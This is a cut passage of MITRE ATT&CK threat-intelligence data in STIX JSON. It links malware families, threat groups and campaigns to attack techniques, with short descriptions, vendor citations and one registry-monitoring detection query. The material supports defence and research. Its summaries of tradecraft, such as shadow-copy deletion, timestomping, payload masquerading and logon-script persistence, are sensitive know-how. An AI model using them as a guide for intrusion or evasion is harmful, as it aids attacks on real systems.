software packages.","relationship_type":"mitigates","source_ref":"course-of-action--23843cff-f7b9-4659-a7b7-713ef347f547","target_ref":"attack-pattern--dfefe2ed-4389-4318-8762-f0272b350a1b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ebbb5d6e-9949-436b-85c5-5cd90a681042","type":"relationship","created":"2021-06-30T17:12:54.907Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Chaes Nov 2020","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/11-2020-Chaes-e-commerce-malware-research.pdf","description":"Salem, E. (2020, November 17). CHAES: Novel Malware Targeting Latin American E-Commerce. Retrieved June 30, 2021."}],"modified":"2021-06-30T17:12:54.907Z","description":"[Chaes](https://attack.mitre.org/software/S0631) has decrypted an AES encrypted binary file to trigger the download of other files.(Citation: Cybereason Chaes Nov 2020) ","relationship_type":"uses","source_ref":"malware--77e0ecf7-ca91-4c06-8012-8e728986a87a","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ebc54b2c-1ecf-4db4-84b2-b7cd0defbfa7","created":"2022-04-14T15:45:36.480Z","x_mitre_version":"0.1","external_references":[{"source_name":"Elastic Process Injection July 2017","url":"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process","description":"Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017."}],"x_mitre_deprecated":false,"revoked":false,"description":"Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017)","modified":"2022-04-14T15:45:36.480Z","relationship_type":"detects","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--cc89ecbd-3d33-4a41-bcca-001e702d18fd","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ebc8ea86-6847-494a-b304-b6750a2f54e5","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Rancor Unit42 June 2018","description":"Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"}],"modified":"2020-03-19T19:52:53.301Z","description":"[PLAINTEE](https://attack.mitre.org/software/S0254) uses cmd.exe to execute commands on the victim’s machine.(Citation: Rancor Unit42 June 2018)","relationship_type":"uses","source_ref":"malware--21c0b55b-5ff3-4654-a05e-e3fc1ee1ce1b","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ebd51f84-cd09-4b40-88bd-bed2461996d7","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf","description":"Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.","source_name":"Microsoft PLATINUM April 2016"}],"modified":"2019-05-10T12:14:32.235Z","description":"(Citation: Microsoft PLATINUM April 2016)","relationship_type":"uses","source_ref":"intrusion-set--f9c06633-dcff-48a1-8588-759e7cec5694","target_ref":"malware--0f1ad2ef-41d4-4b7a-9304-ddae68ea3005","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ebd78850-caf0-4e14-8338-0f7347063afc","type":"relationship","created":"2021-10-11T19:34:23.397Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CheckPoint Bandook Nov 2020","url":"https://research.checkpoint.com/2020/bandook-signed-delivered/","description":"Check Point. (2020, November 26). Bandook: Signed & Delivered. Retrieved May 31, 2021."}],"modified":"2021-10-11T19:34:23.397Z","description":"[Bandook](https://attack.mitre.org/software/S0234) has decoded its PowerShell script.(Citation: CheckPoint Bandook Nov 2020)","relationship_type":"uses","source_ref":"malware--835a79f1-842d-472d-b8f4-d54b545c341b","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ebd87b4c-eca9-4680-9608-a49ec74b5c4b","type":"relationship","created":"2019-01-30T19:50:46.737Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/","source_name":"Unit 42 NOKKI Sept 2018"}],"modified":"2020-03-17T01:58:31.534Z","description":"[NOKKI](https://attack.mitre.org/software/S0353) has used FTP for C2 communications.(Citation: Unit 42 NOKKI Sept 2018)","relationship_type":"uses","source_ref":"malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a","target_ref":"attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ebd9f76d-f007-4077-a0c0-7b319eeb3b40","created":"2022-03-30T14:26:51.855Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-04T14:32:12.670Z","description":"Monitor for the creation to Registry keys associated with Windows logon scrips, nameley HKCU\\Environment\\UserInitMprLogonScript.\n\nAdversaries may schedule software to run whenever a user logs into the system; this is done to establish persistence and sometimes for lateral movement. This trigger is established through the registry key HKEY_CURRENT_USER\\EnvironmentUserInitMprLogonScript. This signature looks edits to existing keys or creation of new keys in that path. Users purposefully adding benign scripts to this path will result in false positives; that case is rare, however. There are other ways of running a script at startup or login that are not covered in this signature. Note that this signature overlaps with the Windows Sysinternals Autoruns tool, which would also show changes to this registry path.\n\nAnalytic 1 - Boot or Logon Initialization Scripts\n\n (sourcetype=WinEventLog:Microsoft-Windows-Sysmon/Operational EventCode IN (12, 14, 13)) TargetObject= \"*\\Environment*UserInitMprLogonScript\") ","relationship_type":"detects","source_ref":"x-mitre-data-component--7f70fae7-a68d-4730-a83a-f260b9606129","target_ref":"attack-pattern--eb125d40-0b2d-41ac-a71a-3229241c2cd3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ebe49c13-057f-4dc4-b04b-f19ac2480c4a","created":"2022-09-22T00:34:44.821Z","revoked":false,"external_references":[{"source_name":"McAfee Night Dragon","description":"McAfee® Foundstone® Professional Services and McAfee Labs™. (2011, February 10). Global Energy Cyberattacks: “Night Dragon”. Retrieved February 19, 2018.","url":"https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-22T00:34:44.821Z","description":"During [Night Dragon](https://attack.mitre.org/campaigns/C0002), threat actors used dynamic DNS services for C2.(Citation: McAfee Night Dragon)","relationship_type":"uses","source_ref":"campaign--ae407e32-87e0-4d92-8705-3ae25d504d8a","target_ref":"attack-pattern--7bd9c723-2f78-4309-82c5-47cad406572b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ebed8156-bce1-4710-bd99-7cdcfa887d28","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Rancor Unit42 June 2018","description":"Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"}],"modified":"2019-04-25T12:37:45.583Z","description":"[Rancor](https://attack.mitre.org/groups/G0075) has attached a malicious document to an email to gain initial access.(Citation: Rancor Unit42 June 2018)","relationship_type":"uses","source_ref":"intrusion-set--f40eb8ce-2a74-4e56-89a1-227021410142","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ebf39235-749f-400e-aeb9-185df9e43fe1","type":"relationship","created":"2020-06-24T20:43:18.213Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 BackConfig May 2020","url":"https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/","description":"Hinchliffe, A. and Falcone, R. (2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020."}],"modified":"2020-06-29T15:22:59.271Z","description":"[BackConfig](https://attack.mitre.org/software/S0475) has hidden malicious payloads in %USERPROFILE%\\Adobe\\Driver\\dwg\\ and mimicked the legitimate DHCP service binary.(Citation: Unit 42 BackConfig May 2020)","relationship_type":"uses","source_ref":"malware--c13d9621-aca7-436b-ab3d-3a95badb3d00","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ebf44df8-d7c7-4c95-87f0-e31f88b83c72","type":"relationship","created":"2019-01-29T19:09:26.747Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/","description":"Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. Retrieved January 12, 2018.","source_name":"PaloAlto UBoatRAT Nov 2017"}],"modified":"2019-04-19T15:10:04.423Z","description":"[UBoatRAT](https://attack.mitre.org/software/S0333) can upload and download files to the victim’s machine.(Citation: PaloAlto UBoatRAT Nov 2017)","relationship_type":"uses","source_ref":"malware--518bb5f1-91f4-4ff2-b09d-5a94e1ebe95f","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ebf68107-a2b8-4ff1-916f-e1861a20914a","type":"relationship","created":"2020-06-15T14:22:33.878Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Shamoon December 2018","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/shamoon-returns-to-wipe-systems-in-middle-east-europe/","description":"Mundo, A., Roccia, T., Saavedra-Morales, J., Beek, C.. (2018, December 14). Shamoon Returns to Wipe Systems in Middle East, Europe . Retrieved May 29, 2020."}],"modified":"2020-06-15T14:22:33.878Z","description":"[Shamoon](https://attack.mitre.org/software/S0140) can change the modified time for files to evade forensic detection.(Citation: McAfee Shamoon December 2018)\t","relationship_type":"uses","source_ref":"malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3","target_ref":"attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ebfa4596-86bb-4a7f-a6f5-11a5642b31fd","created":"2022-08-07T14:41:53.761Z","x_mitre_version":"0.1","external_references":[{"source_name":"MalwareBytes SideCopy Dec 2021","url":"https://www.malwarebytes.com/blog/news/2021/12/sidecopy-apt-connecting-lures-to-victims-payloads-to-infrastructure","description":"Threat Intelligence Team. (2021, December 2). SideCopy APT: Connecting lures victims, payloads to infrastructure. Retrieved June 13, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[SideCopy](https://attack.mitre.org/groups/G1008) has utilized `mshta.exe` to execute a malicious hta file.(Citation: MalwareBytes SideCopy Dec 2021)","modified":"2022-08-15T20:28:15.294Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--03be849d-b5a2-4766-9dda-48976bae5710","target_ref":"attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ebfa89db-b37b-4b66-a820-b863bd012b80","type":"relationship","created":"2020-08-07T20:02:10.041Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SentinelOne Lazarus macOS July 2020","url":"https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/","description":"Stokes, P. (2020, July 27). Four Distinct Families of Lazarus Malware Target Apple’s macOS Platform. Retrieved August 7, 2020."}],"modified":"2020-08-07T20:02:10.041Z","description":"The [Dacls](https://attack.mitre.org/software/S0497) Mach-O binary has been disguised as a .nib file.(Citation: SentinelOne Lazarus macOS July 2020)","relationship_type":"uses","source_ref":"malware--3aa169f8-bbf6-44bb-b57d-7f6ada5c2128","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ec0161c2-2e79-4166-b3e5-5a7026366865","created":"2023-08-03T20:15:07.460Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"},{"source_name":"Secureworks BRONZE SILHOUETTE May 2023","description":"Counter Threat Unit Research Team. (2023, May 24). Chinese Cyberespionage Group BRONZE SILHOUETTE Targets U.S. Government and Defense Organizations. Retrieved July 27, 2023.","url":"https://www.secureworks.com/blog/chinese-cyberespionage-group-bronze-silhouette-targets-us-government-and-defense-organizations"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-15T20:10:08.996Z","description":"(Citation: Secureworks BRONZE SILHOUETTE May 2023)(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"tool--03342581-f790-4f03-ba41-e82e67392e23","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ec037573-058a-43d5-a76e-bd76e99953dd","created":"2019-01-30T15:38:21.244Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant APT1 Appendix","description":"Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.","url":"https://www.mandiant.com/sites/default/files/2021-09/mandiant-apt1-report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-26T19:55:54.862Z","description":"[BISCUIT](https://attack.mitre.org/software/S0017) has a command to gather the username from the system.(Citation: Mandiant APT1 Appendix)","relationship_type":"uses","source_ref":"malware--b8eb28e4-48a6-40ae-951a-328714f75eda","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ec06b018-fe67-49f0-976c-be5f7637b094","created":"2022-09-23T20:15:41.167Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-11T12:39:22.500Z","description":"[FunnyDream](https://attack.mitre.org/software/S1044) can use `cmd.exe` for execution on remote hosts.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"malware--be25c1c0-1590-4219-a3d5-6f31799d1d1b","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ec095867-cb54-4fcf-b2c7-00e805bf7500","type":"relationship","created":"2020-05-12T21:56:32.979Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FOX-IT May 2016 Mofang","url":"https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf","description":"Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."}],"modified":"2020-05-27T23:35:41.298Z","description":"[ShimRat](https://attack.mitre.org/software/S0444) can list directories.(Citation: FOX-IT May 2016 Mofang)","relationship_type":"uses","source_ref":"malware--5763217a-05b6-4edd-9bca-057e47b5e403","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ec0ea37c-cb59-4138-ac0a-ad401b37d5fe","type":"relationship","created":"2021-11-12T19:30:36.058Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Fortinet Diavol July 2021","url":"https://www.fortinet.com/blog/threat-research/diavol-new-ransomware-used-by-wizard-spider","description":"Neeamni, D., Rubinfeld, A.. (2021, July 1). Diavol - A New Ransomware Used By Wizard Spider?. Retrieved November 12, 2021."}],"modified":"2022-03-09T18:35:37.123Z","description":"[Diavol](https://attack.mitre.org/software/S0659) can delete shadow copies using the `IVssBackupComponents` COM object to call the `DeleteSnapshots` method.(Citation: Fortinet Diavol July 2021)","relationship_type":"uses","source_ref":"malware--4e9bdf9a-4957-47f6-87b3-c76898d3f623","target_ref":"attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ec0f8f62-0eb6-4d40-a8c2-c3a083a79acd","type":"relationship","created":"2020-06-02T17:42:45.479Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 CARROTBAT November 2018","url":"https://unit42.paloaltonetworks.com/unit42-the-fractured-block-campaign-carrotbat-malware-used-to-deliver-malware-targeting-southeast-asia/","description":"Grunzweig, J. and Wilhoit, K. (2018, November 29). The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia. Retrieved June 2, 2020."}],"modified":"2020-06-15T15:13:27.764Z","description":"[CARROTBAT](https://attack.mitre.org/software/S0462) has the ability to delete downloaded files from a compromised host.(Citation: Unit 42 CARROTBAT November 2018)","relationship_type":"uses","source_ref":"malware--1b9f0800-035e-4ed1-9648-b18294cc5bc8","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ec0ffb41-2adb-4416-8869-5b99e61615c2","type":"relationship","created":"2019-06-07T16:34:21.076Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro IXESHE 2012","url":"https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_ixeshe.pdf","description":"Sancho, D., et al. (2012, May 22). IXESHE An APT Campaign. Retrieved June 7, 2019."}],"modified":"2020-03-20T02:19:48.807Z","description":"[Ixeshe](https://attack.mitre.org/software/S0015) is capable of executing commands via [cmd](https://attack.mitre.org/software/S0106).(Citation: Trend Micro IXESHE 2012)","relationship_type":"uses","source_ref":"malware--8beac7c2-48d2-4cd9-9b15-6c452f38ac06","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ec134ae1-153b-46bb-b5f8-d1b9ac5275df","type":"relationship","created":"2021-06-11T19:53:34.565Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Kimsuky June 2021","url":"https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/","description":"Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021."}],"modified":"2021-06-11T19:53:34.565Z","description":"[AppleSeed](https://attack.mitre.org/software/S0622) can pull a timestamp from the victim's machine.(Citation: Malwarebytes Kimsuky June 2021)","relationship_type":"uses","source_ref":"malware--295721d2-ee20-4fa3-ade3-37f4146b4570","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ec1a882a-b9d1-469f-b944-26d684b28a1e","type":"relationship","created":"2021-12-02T15:48:57.529Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos TinyTurla September 2021","url":"https://blog.talosintelligence.com/2021/09/tinyturla.html","description":"Cisco Talos. (2021, September 21). TinyTurla - Turla deploys new malware to keep a secret backdoor on victim machines. Retrieved December 2, 2021."}],"modified":"2021-12-02T15:48:57.529Z","description":"(Citation: Talos TinyTurla September 2021)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"malware--2a7c1bb7-cd12-456e-810d-ab3bf8457bab","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ec218695-e481-4895-97a2-5383949cb04d","type":"relationship","created":"2020-09-30T14:23:17.147Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA SoreFang July 2016","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198a","description":"CISA. (2020, July 16). MAR-10296782-1.v1 – SOREFANG. Retrieved September 29, 2020."}],"modified":"2020-09-30T14:23:17.147Z","description":"[SoreFang](https://attack.mitre.org/software/S0516) can decode and decrypt exfiltrated data sent to C2.(Citation: CISA SoreFang July 2016)","relationship_type":"uses","source_ref":"malware--e33e4603-afab-402d-b2a1-248d435b5fe0","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ec2e27c9-71fe-4650-a5b9-1247193c39f6","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/blogs/threat-intelligence/jrat-new-anti-parsing-techniques","description":"Sharma, R. (2018, August 15). Revamped jRAT Uses New Anti-Parsing Techniques. Retrieved September 21, 2018.","source_name":"jRAT Symantec Aug 2018"},{"description":"Bingham, J. (2013, February 11). Cross-Platform Frutas RAT Builder and Back Door. Retrieved April 23, 2019.","url":"https://www.symantec.com/connect/blogs/cross-platform-frutas-rat-builder-and-back-door","source_name":"Symantec Frutas Feb 2013"}],"modified":"2019-06-24T17:20:24.387Z","description":"[jRAT](https://attack.mitre.org/software/S0283)’s Java payload is encrypted with AES.(Citation: jRAT Symantec Aug 2018) Additionally, backdoor files are encrypted using DES as a stream cipher. Later variants of [jRAT](https://attack.mitre.org/software/S0283) also incorporated AV evasion methods such as Java bytecode obfuscation via the commercial Allatori obfuscation tool.(Citation: Symantec Frutas Feb 2013)","relationship_type":"uses","source_ref":"malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ec362b37-1a64-4b28-8d34-7819d0aa5b2a","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"XAgentOSX 2017","description":"Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/"}],"modified":"2019-07-26T23:07:21.108Z","description":"[XAgentOSX](https://attack.mitre.org/software/S0161) contains the getInstalledAPP function to run ls -la /Applications to gather what applications are installed.(Citation: XAgentOSX 